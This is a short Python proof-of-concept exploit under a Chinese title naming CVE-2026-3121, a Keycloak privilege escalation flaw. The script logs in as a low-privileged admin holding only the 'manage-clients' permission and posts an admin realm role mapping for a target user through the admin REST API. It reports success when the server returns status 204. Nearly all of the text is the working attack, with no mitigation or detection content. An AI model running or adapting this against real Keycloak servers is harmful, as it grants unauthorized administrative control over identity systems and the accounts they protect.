CVE-2026-3121 Keycloak权限提升漏洞

import requests # Target configuration TARGET_URL = "https://keycloak.example.com" REALM = "master" CLIENT_ID = "admin-cli" # Credentials for a user with 'manage-clients' permission only USERNAME = "limited_admin" PASSWORD = "password" # Step 1: Get Access Token auth_url = f"{TARGET_URL}/realms/{REALM}/protocol/openid-connect/token" auth_payload = { "client_id": CLIENT_ID, "username": USERNAME, "password": PASSWORD, "grant_type": "password" } session = requests.Session() auth_resp = session.post(auth_url, data=auth_payload) if auth_resp.status_code != 200: print("Authentication failed") exit(1) token = auth_resp.json().get("access_token") headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} # Step 2: Exploit permission misconfiguration # Attempting to assign admin role (requires 'manage-permissions') # using 'manage-clients' permission due to CVE-2026-3121 target_user_id = "user-to-escalate-id" admin_role_representation = [ {"id": "admin-role-id", "name": "admin"} ] # Endpoint to add realm role mappings to user role_mapping_url = f"{TARGET_URL}/admin/realms/{REALM}/users/{target_user_id}/role-mappings/realm" print(f"Attempting to assign admin roles to user {target_user_id}...") exploit_resp = session.post(role_mapping_url, json=admin_role_representation, headers=headers) if exploit_resp.status_code == 204: print("[+] Exploit successful! Privileges escalated.") else: print(f"[-] Exploit failed. Status: {exploit_resp.status_code}")